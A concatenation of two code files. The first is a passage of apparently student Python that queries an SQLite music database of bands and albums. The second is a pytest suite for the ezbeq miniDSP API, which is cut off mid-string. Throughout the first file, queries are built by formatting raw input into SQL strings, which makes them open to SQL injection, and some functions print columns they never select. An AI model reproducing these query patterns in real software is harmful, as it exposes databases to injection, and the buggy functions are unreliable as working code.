error: print('Error con la conexion',error) finally: if(conexion): conexion.close() def Ver_Artista(): try: conexion = sqlite3.connect('parcial2.db') cursor = conexion.cursor() print('Conectado') query = 'SELECT Banda FROM artistas;' cursor.execute(query) rows = cursor.fetchall() print('Total de registros: ', len(rows)) print('------------Registros-------------') lista=[] for row in rows: lista.append(row[0]) cursor.close() return lista except sqlite3.Error as error: print('Error con la conexion',error) finally: if(conexion): conexion.close() def Ver_Un_Artista(banda): try: conexion = sqlite3.connect('parcial2.db') cursor = conexion.cursor() print('Conectado') query = "SELECT * FROM artistas WHERE banda = '{}';".format(banda) cursor.execute(query) rows = cursor.fetchall() print('Total de registros: ', len(rows)) print('------------Registros-------------') for row in rows: print('Id: {}\nBanda: {}\nTipo: {}\nTag: {}\nArea: {}'.format(*row)) cursor.close() except sqlite3.Error as error: print('Error con la conexion',error) finally: if(conexion): conexion.close() def Ver_Discos(banda): try: conexion = sqlite3.connect('parcial2.db') cursor = conexion.cursor() print('Conectado') query = "SELECT Titulo FROM disco WHERE banda = '{}';".format(banda) cursor.execute(query) rows = cursor.fetchall() print('Total de registros: ', len(rows)) print('------------Registros-------------') for row in rows: print('Id: {}\nBanda: {}\nTitulo: {}\nPais: {}\nStatus: {}'.format(*row)) cursor.close() except sqlite3.Error as error: print('Error con la conexion',error) finally: if(conexion): conexion.close() def Ver_Discos_Id_Banda(banda,titulo,id): try: conexion = sqlite3.connect('parcial2.db') cursor = conexion.cursor() print('Conectado') query = "SELECT Titulo FROM disco WHERE banda = '{}' and Titulo = '{}' or Id = '{}';".format(banda,titulo,id) cursor.execute(query) rows = cursor.fetchall() print('Total de registros: ', len(rows)) print('------------Registros-------------') for row in rows: print('Id: {}\nBanda: {}\nTitulo: {}\nPais: {}\nStatus: {}'.format(*row)) cursor.close() except sqlite3.Error as error: print('Error con la conexion',error) finally: if(conexion): conexion.close() def Ver_Bandas_Totales(): try: conexion = sqlite3.connect('parcial2.db') cursor = conexion.cursor() print('Conectado') query = "SELECT Banda FROM artistas;" cursor.execute(query) rows = cursor.fetchall() print('Total de registros: ', len(rows)) cursor.close() except sqlite3.Error as error: print('Error con la conexion',error) finally: if(conexion): conexion.close() def Ver_Discos_x_Banda(banda): try: conexion = sqlite3.connect('parcial2.db') cursor = conexion.cursor() print('Conectado') query = "SELECT Banda FROM disco WHERE banda = '{}';".format(banda) cursor.execute(query) rows = cursor.fetchall() print('Total de registros: ', len(rows)) for row in rows: if 'Banda' != row['Banda']: print('Banda: {}\nTitulo: {}\n'.format(*row)) cursor.close() except sqlite3.Error as error: print('Error con la conexion',error) finally: if(conexion): conexion.close() def Ver_Artistas_x_Tag(tag): try: conexion = sqlite3.connect('parcial2.db') cursor = conexion.cursor() print('Conectado') query = "SELECT * FROM artistas WHERE tag = '{}';".format(tag) cursor.execute(query) rows = cursor.fetchall() print('Total de registros: ', len(rows)) print('------------Registros-------------') for row in rows: print('Id: {}\nBanda: {}\nTipo: {}\nTag: {}\nArea: {}'.format(*row)) cursor.close() except sqlite3.Error as error: print('Error con la conexion',error) finally: if(conexion): conexion.close() def Ver_Todos_Discos(): try: conexion = sqlite3.connect('parcial2.db') cursor = conexion.cursor() print('Conectado') query = 'SELECT * FROM disco;' cursor.execute(query) rows = cursor.fetchall() print('Total de registros: ', len(rows)) print('------------Registros-------------') for row in rows: print('Id: {}\nBanda: {}\nTitulo: {}\nPais: {}\nStatus: {}'.format(*row)) cursor.close() except sqlite3.Error as error: print('Error con la conexion',error) finally: if(conexion): conexion.close()

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Python

tests/test_minidsp_api.py

3ll3d00d/ezbeq

d1408297a95f7b811628175896ea917a465f36a2

[ "MIT" ]

6

2021-01-16T18:34:30.000Z

2022-01-23T20:30:57.000Z

tests/test_minidsp_api.py

3ll3d00d/ezbeq

d1408297a95f7b811628175896ea917a465f36a2

[ "MIT" ]

45

2021-01-16T09:35:35.000Z

2022-01-27T19:46:14.000Z

tests/test_minidsp_api.py

3ll3d00d/ezbeq

d1408297a95f7b811628175896ea917a465f36a2

[ "MIT" ]

5

2021-01-16T21:42:32.000Z

2022-01-29T16:28:10.000Z

import json import os from typing import Tuple, List import pytest from conftest import MinidspSpyConfig, MinidspSpy def verify_slot(slot: dict, idx: int, active: bool = False, gain: Tuple[float, float] = (0.0, 0.0), mute: Tuple[bool, bool] = (False, False), last: str = 'Empty'): assert slot['id'] == str(idx) assert slot['active'] == active assert slot['gain1'] == gain[0] assert slot['gain2'] == gain[1] assert slot['mute1'] == mute[0] assert slot['mute2'] == mute[1] assert slot['last'] == last assert slot['canActivate'] is True def verify_default_device_state(devices: dict): slots = verify_master_device_state(devices) for idx, s in enumerate(slots): verify_slot(s, idx + 1, active=idx == 0) def verify_master_device_state(devices, mute: bool = False, gain: float = 0.0): assert devices assert devices['mute'] == mute assert float(devices['masterVolume']) == gain slots = devices['slots'] assert slots assert len(slots) == 4 return slots def test_devices(minidsp_client, minidsp_app): assert isinstance(minidsp_app.config['APP_CONFIG'], MinidspSpyConfig) r = minidsp_client.get("/api/1/devices") assert r assert r.status_code == 200 verify_default_device_state(r.json) @pytest.mark.parametrize("slot", [1, 2, 3, 4]) @pytest.mark.parametrize("mute_op", ['on', 'off']) def test_legacy_mute_both_inputs(minidsp_client, minidsp_app, slot, mute_op): config: MinidspSpyConfig = minidsp_app.config['APP_CONFIG'] assert isinstance(config, MinidspSpyConfig) payload = { 'channel': '0', 'value': mute_op, 'command': 'mute' } r = minidsp_client.put(f"/api/1/device/{slot}", data=json.dumps(payload), content_type='application/json') verify_mute_both_inputs(config, mute_op, r, slot) @pytest.mark.parametrize("slot", [1, 2, 3, 4]) @pytest.mark.parametrize("mute_op", ['on', 'off']) def test_mute_both_inputs(minidsp_client, minidsp_app, slot, mute_op): config: MinidspSpyConfig = minidsp_app.config['APP_CONFIG'] assert isinstance(config, MinidspSpyConfig) call = minidsp_client.put if mute_op == 'on' else minidsp_client.delete r = call(f"/api/1/devices/master/mute/{slot}") verify_mute_both_inputs(config, mute_op, r, slot) def verify_mute_both_inputs(config, mute_op, r, slot): assert r assert r.status_code == 200 cmds = verify_cmd_count(config.spy, slot, 2) assert cmds[0] == f"input 0 mute {mute_op}" assert cmds[1] == f"input 1 mute {mute_op}" slots = verify_master_device_state(r.json) for idx, s in enumerate(slots): if idx == slot - 1: verify_slot(s, idx + 1, active=True, mute=(True, True) if mute_op == 'on' else (False, False)) else: verify_slot(s, idx + 1) def verify_cmd_count(spy: MinidspSpy, slot: int, expected_cmd_count: int, initial_slot=1) -> List[str]: cmds = spy.take_commands() if slot == initial_slot: assert len(cmds) == expected_cmd_count return cmds else: assert len(cmds) == expected_cmd_count + 1 assert cmds[0] == f"config {slot - 1}" return cmds[1:] if expected_cmd_count > 0 else [] @pytest.mark.parametrize("slot", [1, 2, 3, 4]) @pytest.mark.parametrize("channel", [1, 2]) @pytest.mark.parametrize("mute_op", ['on', 'off']) def test_legacy_mute_single_input(minidsp_client, minidsp_app, slot, channel, mute_op): config: MinidspSpyConfig = minidsp_app.config['APP_CONFIG'] assert isinstance(config, MinidspSpyConfig) payload = { 'channel': f"{channel}", 'value': mute_op, 'command': 'mute' } r = minidsp_client.put(f"/api/1/device/{slot}", data=json.dumps(payload), content_type='application/json') verify_mute_single_input(channel, config, mute_op, r, slot) @pytest.mark.parametrize("slot", [1, 2, 3, 4]) @pytest.mark.parametrize("channel", [1, 2]) @pytest.mark.parametrize("mute_op", ['on', 'off']) def test_mute_single_input(minidsp_client, minidsp_app, slot, channel, mute_op): config: MinidspSpyConfig = minidsp_app.config['APP_CONFIG'] assert isinstance(config, MinidspSpyConfig) call = minidsp_client.put if mute_op == 'on' else minidsp_client.delete r = call(f"/api/1/devices/master/mute/{slot}/{channel}") verify_mute_single_input(channel, config, mute_op, r, slot) def verify_mute_single_input(channel, config, mute_op, r, slot): assert r assert r.status_code == 200 cmds = verify_cmd_count(config.spy, slot, 1) assert cmds[0] == f"input {channel - 1} mute {mute_op}" slots = verify_master_device_state(r.json) if mute_op == 'on': mute = (True, False) if channel == 1 else (False, True) else: mute = (False, False) for idx, s in enumerate(slots): if idx == slot - 1: verify_slot(s, idx + 1, active=True, mute=mute) else: verify_slot(s, idx + 1) @pytest.mark.parametrize("mute_op", ['on', 'off']) def test_legacy_mute_master(minidsp_client, minidsp_app, mute_op): config: MinidspSpyConfig = minidsp_app.config['APP_CONFIG'] assert isinstance(config, MinidspSpyConfig) payload = { 'channel': 'master', 'value': mute_op, 'command': 'mute' } r = minidsp_client.put(f"/api/1/device/0", data=json.dumps(payload), content_type='application/json') verify_mute_master(config, mute_op, r) @pytest.mark.parametrize("mute_op", ['on', 'off']) def test_mute_master(minidsp_client, minidsp_app, mute_op): config: MinidspSpyConfig = minidsp_app.config['APP_CONFIG'] assert isinstance(config, MinidspSpyConfig) call = minidsp_client.put if mute_op == 'on' else minidsp_client.delete r = call(f"/api/1/devices/master/mute") verify_mute_master(config, mute_op, r) def verify_mute_master(config, mute_op, r): assert r assert r.status_code == 200 cmds = config.spy.take_commands() assert len(cmds) == 1 assert cmds[0] == f"mute {mute_op}" slots = verify_master_device_state(r.json, mute=True if mute_op == 'on' else False) for idx, s in enumerate(slots): verify_slot(s, idx + 1, active=idx == 0) @pytest.mark.parametrize("slot", [1, 2, 3, 4]) @pytest.mark.parametrize("gain,is_valid", [(-14.2, True), (-49.1, True), (-72.1, False), (0.5, True), (12.4, False)]) def test_legacy_set_input_gain(minidsp_client, minidsp_app, slot, gain, is_valid): config: MinidspSpyConfig = minidsp_app.config['APP_CONFIG'] assert isinstance(config, MinidspSpyConfig) payload = { 'channel': '0', 'value': gain, 'command': 'gain' } r = minidsp_client.put(f"/api/1/device/{slot}", data=json.dumps(payload), content_type='application/json') verify_set_input_gain(config, gain, is_valid, r, slot) @pytest.mark.parametrize("slot", [1, 2, 3, 4]) @pytest.mark.parametrize("gain,is_valid", [(-14.2, True), (-49.1, True), (-72.1, False), (0.5, True), (12.4, False)]) def test_set_input_gain(minidsp_client, minidsp_app, slot, gain, is_valid): config: MinidspSpyConfig = minidsp_app.config['APP_CONFIG'] assert isinstance(config, MinidspSpyConfig) payload = {'gain': gain} r = minidsp_client.put(f"/api/1/devices/master/gain/{slot}", data=json.dumps(payload), content_type='application/json') verify_set_input_gain(config, gain, is_valid, r, slot) def verify_set_input_gain(config, gain, is_valid, r, slot): assert r if is_valid: expected_gain = (gain, gain) assert r.status_code == 200 cmds = verify_cmd_count(config.spy, slot, 2) assert cmds[0] == f"input 0 gain -- {gain:.2f}" assert cmds[1] == f"input 1 gain -- {gain:.2f}" else: expected_gain = (0.0, 0.0) assert r.status_code == 400 cmds = config.spy.take_commands() assert len(cmds) == 0 slots = verify_master_device_state(r.json) for idx, s in enumerate(slots): slot_is_active = idx == slot - 1 if is_valid else idx == 0 if idx == slot - 1: verify_slot(s, idx + 1, active=slot_is_active, gain=expected_gain) else: verify_slot(s, idx + 1, active=slot_is_active) @pytest.mark.parametrize("slot", [1, 2, 3, 4]) @pytest.mark.parametrize("channel", [1, 2]) @pytest.mark.parametrize("gain,is_valid", [(-14.2, True), (-49.1, True), (-72.1, False), (0.5, True), (12.4, False)]) def test_legacy_set_input_gain_single_input(minidsp_client, minidsp_app, slot, channel, gain, is_valid): config: MinidspSpyConfig = minidsp_app.config['APP_CONFIG'] assert isinstance(config, MinidspSpyConfig) payload = { 'channel': channel, 'value': gain, 'command': 'gain' } r = minidsp_client.put(f"/api/1/device/{slot}", data=json.dumps(payload), content_type='application/json') verify_set_input_gain_single_input(channel, config, gain, is_valid, r, slot) @pytest.mark.parametrize("slot", [1, 2, 3, 4]) @pytest.mark.parametrize("channel", [1, 2]) @pytest.mark.parametrize("gain,is_valid", [(-14.2, True), (-49.1, True), (-72.1, False), (0.5, True), (12.4, False)]) def test_set_input_gain_single_input(minidsp_client, minidsp_app, slot, channel, gain, is_valid): config: MinidspSpyConfig = minidsp_app.config['APP_CONFIG'] assert isinstance(config, MinidspSpyConfig) payload = {'gain': gain} r = minidsp_client.put(f"/api/1/devices/master/gain/{slot}/{channel}", data=json.dumps(payload), content_type='application/json') verify_set_input_gain_single_input(channel, config, gain, is_valid, r, slot) def verify_set_input_gain_single_input(channel, config, gain, is_valid, r, slot): assert r if is_valid: expected_gain = (gain, 0.0) if channel == 1 else (0.0, gain) assert r.status_code == 200 cmds = verify_cmd_count(config.spy, slot, 1) assert cmds[0] == f"input {channel - 1} gain -- {gain:.2f}" else: expected_gain = (0.0, 0.0) assert r.status_code == 400 cmds = config.spy.take_commands() assert len(cmds) == 0 slots = verify_master_device_state(r.json) for idx, s in enumerate(slots): slot_is_active = idx == slot - 1 if is_valid else idx == 0 if idx == slot - 1: verify_slot(s, idx + 1, active=slot_is_active, gain=expected_gain) else: verify_slot(s, idx + 1, active=slot_is_active) @pytest.mark.parametrize("gain,is_valid", [(-14.2, True), (-49.1, True), (-72.1, True), (0.5, False), (-128.0, False)]) def test_legacy_set_master_gain(minidsp_client, minidsp_app, gain, is_valid): config: MinidspSpyConfig = minidsp_app.config['APP_CONFIG'] assert isinstance(config, MinidspSpyConfig) payload = { 'channel': 'master', 'value': gain, 'command': 'gain' } r = minidsp_client.put(f"/api/1/device/0", data=json.dumps(payload), content_type='application/json') verify_set_master_gain(config, gain, is_valid, r) @pytest.mark.parametrize("gain,is_valid", [(-14.2, True), (-49.1, True), (-72.1, True), (0.5, False), (-128.0, False)]) def test_set_master_gain(minidsp_client, minidsp_app, gain, is_valid): config: MinidspSpyConfig = minidsp_app.config['APP_CONFIG'] assert isinstance(config, MinidspSpyConfig) payload = {'gain': gain} r = minidsp_client.put(f"/api/1/devices/master/gain", data=json.dumps(payload), content_type='application/json') verify_set_master_gain(config, gain, is_valid, r) def verify_set_master_gain(config, gain, is_valid, r): assert r if is_valid: assert r.status_code == 200 cmds = config.spy.take_commands() assert len(cmds) == 1 assert cmds[0] == f"gain -- {gain:.2f}" else: assert r.status_code == 400 cmds = config.spy.take_commands() assert len(cmds) == 0 slots = verify_master_device_state(r.json, gain=gain if is_valid else 0.0) for idx, s in enumerate(slots): verify_slot(s, idx + 1, active=idx == 0) @pytest.mark.parametrize("slot,is_valid", [(0, False), (1, True), (2, True), (3, True), (4, True), (5, False)]) def test_legacy_activate_slot(minidsp_client, minidsp_app, slot, is_valid): config: MinidspSpyConfig = minidsp_app.config['APP_CONFIG'] assert isinstance(config, MinidspSpyConfig) payload = { 'command': 'activate' } r = minidsp_client.put(f"/api/1/device/{slot}", data=json.dumps(payload), content_type='application/json') verify_activate_slot(config, is_valid, r, slot) @pytest.mark.parametrize("slot,is_valid", [(0, False), (1, True), (2, True), (3, True), (4, True), (5, False)]) def test_activate_slot(minidsp_client, minidsp_app, slot, is_valid): config: MinidspSpyConfig = minidsp_app.config['APP_CONFIG'] assert isinstance(config, MinidspSpyConfig) r = minidsp_client.put(f"/api/1/devices/master/config/{slot}/active") verify_activate_slot(config, is_valid, r, slot) def verify_activate_slot(config, is_valid, r, slot): assert r if is_valid: assert r.status_code == 200 cmds = verify_cmd_count(config.spy, slot, 0) else: assert r.status_code == 400 cmds = config.spy.take_commands() assert len(cmds) == 0 slots = verify_master_device_state(r.json) for idx, s in enumerate(slots): if is_valid: verify_slot(s, idx + 1, active=idx + 1 == slot) else: verify_slot(s, idx + 1, active=idx == 0) def test_legacy_state_maintained_over_multiple_updates(minidsp_client, minidsp_app): config: MinidspSpyConfig = minidsp_app.config['APP_CONFIG'] assert isinstance(config, MinidspSpyConfig) # when: activate slot 2 r = minidsp_client.put(f"/api/1/device/2", data=json.dumps({'command': 'activate'}), content_type='application/json') assert r.status_code == 200 # and: set master gain gain_payload = { 'channel': 'master', 'value': -10.2, 'command': 'gain' } r = minidsp_client.put(f"/api/1/device/0", data=json.dumps(gain_payload), content_type='application/json') assert r.status_code == 200 # and: set input gain on slot 3 gain_payload = { 'channel': '0', 'value': 5.1, 'command': 'gain' } r = minidsp_client.put(f"/api/1/device/3", data=json.dumps(gain_payload), content_type='application/json') assert r.status_code == 200 # and: set input gain on one channel on slot 3 gain_payload = { 'channel': '2', 'value': 6.1, 'command': 'gain' } r = minidsp_client.put(f"/api/1/device/3", data=json.dumps(gain_payload), content_type='application/json') assert r.status_code == 200 # then: expected commands are sent cmds = config.spy.take_commands() assert len(cmds) == 6 assert cmds[0] == "config 1" assert cmds[1] == "gain -- -10.20" assert cmds[2] == "config 2" assert cmds[3] == "input 0 gain -- 5.10" assert cmds[4] == "input 1 gain -- 5.10" assert cmds[5] == "input 1 gain -- 6.10" # and: device state is accurate slots = verify_master_device_state(r.json, gain=-10.2) verify_slot(slots[0], 1) verify_slot(slots[1], 2) verify_slot(slots[2], 3, active=True, gain=(5.10, 6.10)) verify_slot(slots[3], 4) @pytest.mark.parametrize("slot", [1, 2, 3, 4]) def test_legacy_multiple_updates_in_one_payload(minidsp_client, minidsp_app, slot): config: MinidspSpyConfig = minidsp_app.config['APP_CONFIG'] assert isinstance(config, MinidspSpyConfig) # when: activate slot # and: set master gain # and: set input gain payload = [ { 'command': 'activate' }, { 'channel': 'master', 'value': -10.2, 'command': 'gain' }, { 'channel': '0', 'value': 5.1, 'command': 'gain' }, { 'channel': '2', 'value': 6.1, 'command': 'gain' } ] r = minidsp_client.put(f"/api/1/device/{slot}", data=json.dumps(payload), content_type='application/json') assert r.status_code == 200 # then: expected commands are sent cmds = verify_cmd_count(config.spy, slot, 4) assert cmds[0] == "gain -- -10.20" assert cmds[1] == "input 0 gain -- 5.10" assert cmds[2] == "input 1 gain -- 5.10" assert cmds[3] == "input 1 gain -- 6.10" # and: device state is accurate slots = verify_master_device_state(r.json, gain=-10.2) for idx, s in enumerate(slots): if idx + 1 == slot: verify_slot(s, idx + 1, active=True, gain=(5.10, 6.10)) else: verify_slot(s, idx + 1) def test_legacy_load_unknown_entry(minidsp_client, minidsp_app): config: MinidspSpyConfig = minidsp_app.config['APP_CONFIG'] assert isinstance(config, MinidspSpyConfig) r = minidsp_client.put(f"/api/1/device/1", data=json.dumps({'command': 'load', 'id': 'super'}), content_type='application/json') assert r.status_code == 404 cmds = config.spy.take_commands() assert len(cmds) == 0 def test_load_unknown_entry(minidsp_client, minidsp_app): config: MinidspSpyConfig = minidsp_app.config['APP_CONFIG'] assert isinstance(config, MinidspSpyConfig) r = minidsp_client.put(f"/api/1/devices/master/filter/1/super") assert r.status_code == 404 cmds = config.spy.take_commands() assert len(cmds) == 0 def test_search_all(minidsp_client, minidsp_app): r = minidsp_client.get(f"/api/1/search") assert r.status_code == 200 catalogue = r.json assert catalogue assert len(catalogue) == 1 entry = catalogue[0] assert entry['id'] == '123456_0' assert entry['title'] == 'Alien Resurrection' def test_search_no_match(minidsp_client, minidsp_app): r = minidsp_client.get(f"/api/1/search", query_string={'authors': 'me'}) assert r.status_code == 200 catalogue = r.json assert len(catalogue) == 0 def test_authors(minidsp_client): r = minidsp_client.get(f"/api/1/authors") assert r.status_code == 200 data = r.json assert data assert len(data) == 1 assert data[0] == 'aron7awol' def test_contenttypes(minidsp_client): r = minidsp_client.get(f"/api/1/contenttypes") assert r.status_code == 200 data = r.json assert data assert len(data) == 1 assert data[0] == 'film' def test_years(minidsp_client): r = minidsp_client.get(f"/api/1/years") assert r.status_code == 200 data = r.json assert data assert len(data) == 1 assert data[0] == 1997 def test_audiotypes(minidsp_client): r = minidsp_client.get(f"/api/1/audiotypes") assert r.status_code == 200 data = r.json assert data assert len(data) == 1 assert data[0] == 'DTS-HD MA 5.1' def test_metadata(minidsp_client): r = minidsp_client.get(f"/api/1/meta") assert r.status_code == 200 data = r.json assert data assert data['version'] == '123456' assert data['loaded'] assert data['count'] == 1 def test_version(minidsp_client): r = minidsp_client.get(f"/api/1/version") assert r.status_code == 200 data = r.json assert data assert data['version'] == '1.2.3' @pytest.mark.parametrize("slot,is_valid", [(0, False), (1, True), (2, True), (3, True), (4, True), (5, False)]) def test_legacy_load_known_entry_and_then_clear(minidsp_client, minidsp_app, slot, is_valid): config: MinidspSpyConfig = minidsp_app.config['APP_CONFIG'] assert isinstance(config, MinidspSpyConfig) r = minidsp_client.put(f"/api/1/device/{slot}", data=json.dumps({'command': 'load', 'id': '123456_0'}), content_type='application/json') if is_valid: assert r.status_code == 200 cmds = verify_cmd_count(config.spy, slot, 30) expected_commands = f"""input 0 peq 0 set -- 1.0003468763586854 -1.9979191385126602 0.9975784764805841 1.9979204983896346 -0.9979239929622952 input 0 peq 0 bypass off input 0 peq 1 set -- 1.0003468763586854 -1.9979191385126602 0.9975784764805841 1.9979204983896346 -0.9979239929622952 input 0 peq 1 bypass off input 0 peq 2 set -- 1.0003468763586854 -1.9979191385126602 0.9975784764805841 1.9979204983896346 -0.9979239929622952 input 0 peq 2 bypass off input 0 peq 3 set -- 1.0003468763586854 -1.9979191385126602 0.9975784764805841 1.9979204983896346 -0.9979239929622952 input 0 peq 3 bypass off input 0 peq 4 set -- 1.0003468763586854 -1.9979191385126602 0.9975784764805841 1.9979204983896346 -0.9979239929622952 input 0 peq 4 bypass off input 0 peq 5 bypass on input 0 peq 6 bypass on input 0 peq 7 bypass on input 0 peq 8 bypass on input 0 peq 9 bypass on input 1 peq 0 set -- 1.0003468763586854 -1.9979191385126602 0.9975784764805841 1.9979204983896346 -0.9979239929622952 input 1 peq 0 bypass off input 1 peq 1 set -- 1.0003468763586854 -1.9979191385126602 0.9975784764805841 1.9979204983896346 -0.9979239929622952 input 1 peq 1 bypass off input 1 peq 2 set -- 1.0003468763586854 -1.9979191385126602 0.9975784764805841 1.9979204983896346 -0.9979239929622952 input 1 peq 2 bypass off input 1 peq 3 set -- 1.0003468763586854 -1.9979191385126602 0.9975784764805841 1.9979204983896346 -0.9979239929622952 input 1 peq 3 bypass off input 1 peq 4 set -- 1.0003468763586854 -1.9979191385126602 0.9975784764805841 1.9979204983896346 -0.9979239929622952 input 1 peq 4 bypass off input 1 peq 5 bypass on input 1 peq 6 bypass on input 1 peq 7 bypass on input 1 peq 8 bypass on input 1 peq 9 bypass on""" assert '\n'.join(cmds) == expected_commands else: assert r.status_code == 400 cmds = config.spy.take_commands() assert not cmds slots = verify_master_device_state(r.json) for idx, s in enumerate(slots): slot_is_active = idx + 1 == slot if is_valid else idx == 0 if is_valid and idx + 1 == slot: verify_slot(s, idx + 1, active=slot_is_active, last='Alien Resurrection') else: verify_slot(s, idx + 1, active=slot_is_active) if is_valid: r = minidsp_client.delete(f"/api/1/device/{slot}") assert r.status_code == 200 cmds = config.spy.take_commands() assert len(cmds) == 24 expected_commands = f"""input 0 peq 0 bypass on input 0 peq 1 bypass on input 0 peq 2 bypass on input 0 peq 3 bypass on input 0 peq 4 bypass on input 0 peq 5 bypass on input 0 peq 6 bypass on input 0 peq 7 bypass on input 0 peq 8 bypass on input 0 peq 9 bypass on input 1 peq 0 bypass on input 1 peq 1 bypass on input 1 peq 2 bypass on input 1 peq 3 bypass on input 1 peq 4 bypass on input 1 peq 5 bypass on input 1 peq 6 bypass on input 1 peq 7 bypass on input 1 peq 8 bypass on input 1 peq 9 bypass on input 0 mute off input 1 mute off input 0 gain -- 0.00 input 1 gain -- 0.00""" assert '\n'.join(cmds) == expected_commands slots = verify_master_device_state(r.json) for idx, s in enumerate(slots): slot_is_active = idx + 1 == slot if is_valid else idx == 0 verify_slot(s, idx + 1, active=slot_is_active) @pytest.mark.parametrize("slot,is_valid", [(0, False), (1, True), (2, True), (3, True), (4, True), (5, False)]) def test_load_known_entry_and_then_clear(minidsp_client, minidsp_app, slot, is_valid): config: MinidspSpyConfig = minidsp_app.config['APP_CONFIG'] assert isinstance(config, MinidspSpyConfig) r = minidsp_client.put(f"/api/1/devices/master/filter/{slot}", data=json.dumps({'entryId': '123456_0'}), content_type='application/json') if is_valid: assert r.status_code == 200 cmds = verify_cmd_count(config.spy, slot, 30) expected_commands = f"""input 0 peq 0 set -- 1.0003468763586854 -1.9979191385126602 0.9975784764805841 1.9979204983896346 -0.9979239929622952 input 0 peq 0 bypass off input 0 peq 1 set -- 1.0003468763586854 -1.9979191385126602 0.9975784764805841 1.9979204983896346 -0.9979239929622952 input 0 peq 1 bypass off input 0 peq 2 set -- 1.0003468763586854 -1.9979191385126602 0.9975784764805841 1.9979204983896346 -0.9979239929622952 input 0 peq 2 bypass off input 0 peq 3 set -- 1.0003468763586854 -1.9979191385126602 0.9975784764805841 1.9979204983896346 -0.9979239929622952 input 0 peq 3 bypass off input 0 peq 4 set -- 1.0003468763586854 -1.9979191385126602 0.9975784764805841 1.9979204983896346 -0.9979239929622952 input 0 peq 4 bypass off input 0 peq 5 bypass on input 0 peq 6 bypass on input 0 peq 7 bypass on input 0 peq 8 bypass on input 0 peq 9 bypass on input 1 peq 0 set -- 1.0003468763586854 -1.9979191385126602 0.9975784764805841 1.9979204983896346 -0.9979239929622952 input 1 peq 0 bypass off input 1 peq 1 set -- 1.0003468763586854 -1.9979191385126602 0.9975784764805841 1.9979204983896346 -0.9979239929622952 input 1 peq 1 bypass off input 1 peq 2 set -- 1.0003468763586854 -1.9979191385126602 0.9975784764805841 1.9979204983896346 -0.9979239929622952 input 1 peq 2 bypass off input 1 peq 3 set -- 1.0003468763586854 -1.9979191385126602 0.9975784764805841 1.9979204983896346 -0.9979239929622952 input 1 peq 3 bypass off input 1 peq 4 set -- 1.0003468763586854 -1.9979191385126602 0.9975784764805841 1.9979204983896346 -0.9979239929622952 input 1 peq 4 bypass off input 1 peq 5 bypass on input 1 peq 6 bypass on input 1 peq 7 bypass on input 1 peq 8 bypass on input 1 peq 9 bypass on""" assert '\n'.join(cmds) == expected_commands else: assert r.status_code == 400 cmds = config.spy.take_commands() assert not cmds slots = verify_master_device_state(r.json) for idx, s in enumerate(slots): slot_is_active = idx + 1 == slot if is_valid else idx == 0 if is_valid and idx + 1 == slot: verify_slot(s, idx + 1, active=slot_is_active, last='Alien Resurrection') else: verify_slot(s, idx + 1, active=slot_is_active) if is_valid: r = minidsp_client.delete(f"/api/1/devices/master/filter/{slot}") assert r.status_code == 200 cmds = config.spy.take_commands() assert len(cmds) == 24 expected_commands = f"""input 0 peq 0 bypass on input 0 peq 1 bypass on input 0 peq 2 bypass on input 0 peq 3 bypass on input 0 peq 4 bypass on input 0 peq 5 bypass on input 0 peq 6 bypass on input 0 peq 7 bypass on input 0 peq 8 bypass on input 0 peq 9 bypass on input 1 peq 0 bypass on input 1 peq 1 bypass on input 1 peq 2 bypass on input 1 peq 3 bypass on input 1 peq 4 bypass on input 1 peq 5 bypass on input 1 peq 6 bypass on input 1 peq 7 bypass on input 1 peq 8 bypass on input 1 peq 9 bypass on input 0 mute off input 1 mute off input 0 gain -- 0.00 input 1 gain -- 0.00""" assert '\n'.join(cmds) == expected_commands slots = verify_master_device_state(r.json) for idx, s in enumerate(slots): slot_is_active = idx + 1 == slot if is_valid else idx == 0 verify_slot(s, idx + 1, active=slot_is_active) def test_patch_multiple_fields(minidsp_client, minidsp_app): config: MinidspSpyConfig = minidsp_app.config['APP_CONFIG'] assert isinstance(config, MinidspSpyConfig) # when: set master gain # and: set input gains payload = { 'masterVolume': -10.2, 'mute': True, 'slots': [ { 'id': '2', 'gain1': 5.1, 'gain2': 6.1 } ] } r = minidsp_client.patch(f"/api/1/devices/master", data=json.dumps(payload), content_type='application/json') assert r.status_code == 200 # then: expected commands are sent cmds = verify_cmd_count(config.spy, 2, 4) assert cmds[0] == "input 0 gain -- 5.10" assert cmds[1] == "input 1 gain -- 6.10" assert cmds[2] == "mute on" assert cmds[3] == "gain -- -10.20" # and: device state is accurate slots = verify_master_device_state(r.json, mute=True, gain=-10.2) for idx, s in enumerate(slots): if idx + 1 == 2: verify_slot(s, idx + 1, active=True, gain=(5.10, 6.10)) else: verify_slot(s, idx + 1) def test_patch_multiple_slots(minidsp_client, minidsp_app): config: MinidspSpyConfig = minidsp_app.config['APP_CONFIG'] assert isinstance(config, MinidspSpyConfig) # when: set master gain # and: set input gains payload = { 'masterVolume': -10.2, 'slots': [ { 'id': '2', 'gain1': 5.1, 'gain2': 6.1 }, { 'id': '3', 'gain1': -1.1, 'gain2': -1.1, 'entry': '123456_0', 'mute1': False, 'mute2': False } ] } r = minidsp_client.patch(f"/api/1/devices/master", data=json.dumps(payload), content_type='application/json') assert r.status_code == 200 # then: expected commands are sent cmds = verify_cmd_count(config.spy, 2, 38) expected_commands = f"""input 0 gain -- 5.10 input 1 gain -- 6.10 config 2 input 0 gain -- -1.10 input 1 gain -- -1.10 input 0 mute off input 1 mute off input 0 peq 0 set -- 1.0003468763586854 -1.9979191385126602 0.9975784764805841 1.9979204983896346 -0.9979239929622952 input 0 peq 0 bypass off input 0 peq 1 set -- 1.0003468763586854 -1.9979191385126602 0.9975784764805841 1.9979204983896346 -0.9979239929622952 input 0 peq 1 bypass off input 0 peq 2 set -- 1.0003468763586854 -1.9979191385126602 0.9975784764805841 1.9979204983896346 -0.9979239929622952 input 0 peq 2 bypass off input 0 peq 3 set -- 1.0003468763586854 -1.9979191385126602 0.9975784764805841 1.9979204983896346 -0.9979239929622952 input 0 peq 3 bypass off input 0 peq 4 set -- 1.0003468763586854 -1.9979191385126602 0.9975784764805841 1.9979204983896346 -0.9979239929622952 input 0 peq 4 bypass off input 0 peq 5 bypass on input 0 peq 6 bypass on input 0 peq 7 bypass on input 0 peq 8 bypass on input 0 peq 9 bypass on input 1 peq 0 set -- 1.0003468763586854 -1.9979191385126602 0.9975784764805841 1.9979204983896346 -0.9979239929622952 input 1 peq 0 bypass off input 1 peq 1 set -- 1.0003468763586854 -1.9979191385126602 0.9975784764805841 1.9979204983896346 -0.9979239929622952 input 1 peq 1 bypass off input 1 peq 2 set -- 1.0003468763586854 -1.9979191385126602 0.9975784764805841 1.9979204983896346 